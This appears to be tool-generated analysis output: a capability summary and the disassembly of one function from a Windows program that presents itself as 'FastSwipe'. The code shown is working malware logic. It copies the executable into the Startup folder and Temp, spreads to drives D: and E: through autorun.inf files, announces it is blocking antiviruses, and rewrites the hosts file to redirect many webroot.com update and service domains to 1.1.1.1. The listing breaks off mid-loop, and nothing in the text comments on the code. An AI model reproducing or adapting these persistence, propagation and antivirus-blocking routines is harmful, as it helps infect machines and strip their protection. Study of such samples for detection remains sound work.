Function at 0x4029b0
Capabilities:
Contain obfuscated stackstrings
Encode data using base64
Execute command
Parse pe header
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40b96a
mov eax, dword fs:[0]
push eax
sub esp, 0xb58
mov eax, dword [0x412008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Welcome_to_FastSwipe__n
call fcn.00408530
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.No6po_noxanobatb_b_FastSwipe__n
call fcn.00408530
call fcn.00402180
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0x104
lea eax, [ebp - 0x114]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x402a50
mov edx, str.Unable_to_retrieve_executable_path._n
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.00408530
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040974b
mov esp, ebp
pop ebp
ret
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Executable_path:
push 0x408750
call fcn.00408530
lea edx, [ebp - 0x114]
mov ecx, eax
call fcn.00408530
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea eax, [ebp - 0x218]
push 0x104
push eax
push str.USERPROFILE
call edi
test eax, eax
jne 0x402a9e
mov edx, str.Unable_to_retrieve_user_profile_directory._n
jmp 0x402a25
push str.USERNAME
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
add esp, 4
test eax, eax
jne 0x402ad2
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_retrieve_username_from_environment_variables.
push 0x408750
call fcn.00408530
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x402a30
push eax
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
mov esi, eax
mov dword [ebp - 4], 0
mov ecx, dword [esi + 0x14]
mov eax, ecx
mov edx, dword [esi + 0x10]
sub eax, edx
cmp eax, 9
jb 0x402b90
lea eax, [edx + 9]
mov edi, esi
mov dword [esi + 0x10], eax
cmp ecx, 0x10
jb 0x402b09
mov edi, dword [esi]
cmp edi, 0x40d315
jae 0x402b3e
lea eax, [edi + edx]
cmp eax, str.C:Users_
jb 0x402b3e
cmp edi, str.C:Users_
ja 0x402b2f
mov dword [ebp - 0x7c0], 0
jmp 0x402b48
mov eax, edi
sub eax, str.C:Users_
mov dword [ebp - 0x7c0], eax
jmp 0x402b48
mov dword [ebp - 0x7c0], 9
lea eax, [edx + 1]
push eax
lea ecx, [edi + 9]
push edi
push ecx
call sub.VCRUNTIME140.dll_memmove
push dword [ebp - 0x7c0]
push str.C:Users_
push edi
call sub.VCRUNTIME140.dll_memcpy
mov edx, dword [ebp - 0x7c0]
mov eax, 9
sub eax, edx
push eax
lea eax, [edx + 0x40d315]
lea ecx, [edi + edx]
push eax
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
add esp, 0x24
jmp 0x402bad
push 9
sub esp, 8
mov byte [ebp - 0x7c0], 0
mov ecx, esi
push dword [ebp - 0x7c0]
push 9
call fcn.00409400
mov esi, eax
mov dword [ebp - 0x794], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x7a4], xmm0
mov dword [ebp - 0x790], 0
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x7a4], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x794], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x790]
mov eax, edx
mov ecx, dword [ebp - 0x794]
sub eax, ecx
push 0x3e
push str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
cmp eax, 0x3e
jb 0x402c43
cmp edx, 0x10
lea esi, [ebp - 0x7a4]
lea eax, [ecx + 0x3e]
cmovae esi, dword [ebp - 0x7a4]
add esi, ecx
mov dword [ebp - 0x794], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x3e], 0
lea eax, [ebp - 0x7a4]
jmp 0x402c5d
mov byte [ebp - 0x7c0], 0
lea ecx, [ebp - 0x7a4]
push dword [ebp - 0x7c0]
push 0x3e
call fcn.00408aa0
mov dword [ebp - 0x74c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x75c], xmm0
mov dword [ebp - 0x748], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x75c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x74c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x402cdd
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402cd3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402d28
push ecx
push edx
call fcn.00409aef
add esp, 8
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x7a8]
cmp ecx, 0x10
jb 0x402d38
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402d2e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402d2e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Startup_path:
mov dword [ebp - 0x7ac], 0
mov dword [ebp - 0x7a8], 0xf
mov byte [ebp - 0x7bc], 0
call fcn.00408530
cmp dword [ebp - 0x748], 0x10
lea edx, [ebp - 0x75c]
push 0x408750
push dword [ebp - 0x74c]
cmovae edx, dword [ebp - 0x75c]
mov ecx, eax
call fcn.00408d10
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0x104
lea eax, [ebp - 0x524]
push eax
push str.USERNAME
call edi
test eax, eax
jne 0x402dcb
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Unable_to_retrieve_user_profile_directory._n
call fcn.00408530
lea ecx, [ebp - 0x75c]
call fcn.00407df0
jmp 0x402a30
push str.AppDataLocalTemp_bin.exe
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x72c]
push str.copy__v__y___s____s_s_
push eax
call fcn.00401d40
add esp, 0x14
lea eax, [ebp - 0x218]
lea ecx, [ebp - 0x78c]
push eax
call fcn.00407e40
push ecx
lea ecx, [ebp - 0x78c]
mov byte [ebp - 4], 5
call fcn.00407d10
push 0x40d35c
lea ecx, [ebp - 0x774]
call fcn.00407e40
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 6
call fcn.00402830
push eax
lea ecx, [ebp - 0x774]
mov byte [ebp - 4], 7
call fcn.00407d80
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 6
call fcn.00407df0
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea eax, [ebp - 0x72c]
push eax
call esi
lea edx, [ebp - 0x774]
lea ecx, [ebp - 0x78c]
call fcn.00402240
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x420]
push str.copy__v__y___s__D:_bin.exe
push eax
call fcn.00401d40
lea eax, [ebp - 0x420]
push eax
call esi
push str.echo__autorun____D:_autorun.inf
call esi
push str.echo_openbin.exe____D:_autorun.inf
call esi
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x420]
push str.copy__v__y___s__E:_bin.exe
push eax
call fcn.00401d40
lea eax, [ebp - 0x420]
push eax
call esi
push str.echo__autorun____E:_autorun.inf
call esi
push str.echo_openbin.exe____E:_autorun.inf
call esi
add esp, 0x34
mov dword [ebp - 4], 6
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Started_blocking_antiviruses...
call fcn.00408530
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call esi
push str.1.1.1.1_mail.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
mov byte [ebp - 4], 0xc
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_carbonite.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xe
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_e.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x10
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_entupdates_cdn.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x12
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_lp_carbonite.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x7bc]
push str.C:WindowsSystem32driversetchosts
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_lp.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x16
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_technet.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x18
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x7a4]
call fcn.00402240
lea ecx, [ebp - 0x7a4]
call fcn.00407df0
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
cmp ecx, 0x10
jb 0x403182
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403178
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403178
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_cms.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x1a
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x4031f9
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4031ef
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403244
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x403254
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40324a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40324a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_partner.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x1c
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x4032cb
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4032c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403316
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x403326
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40331c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40331c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_lp_carbonite_sandbox.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x1e
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x40339d
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403393
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4033e8
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x4033f8
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4033ee
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4033ee
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_smtp_co.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x20
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x40346f
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403465
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4034ba
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x4034ca
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4034c0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4034c0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_smtp_ca.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x22
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x403541
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403537
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40358c
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x40359c
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403592
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403592
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_vdi.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x24
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x24
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x403613
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403609
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40365e
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x40366e
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403664
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403664
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_es.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x26
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x4036e5
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4036db
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403730
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x403740
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403736
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403736
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_usmail.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x28
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x28
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x4037b7
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4037ad
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403802
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x403812
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403808
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403808
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_sftp.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x2a
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x2a
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x403889
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40387f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4038d4
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x4038e4
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4038da
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4038da
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_lyncdiscover.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x2c
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x2c
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x40395b
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403951
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4039a6
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x4039b6
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4039ac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4039ac
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_fr.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x2e
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x2e
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x403a2d
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403a23
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403a78
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x403a88
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403a7e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403a7e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_it.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x30
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x31
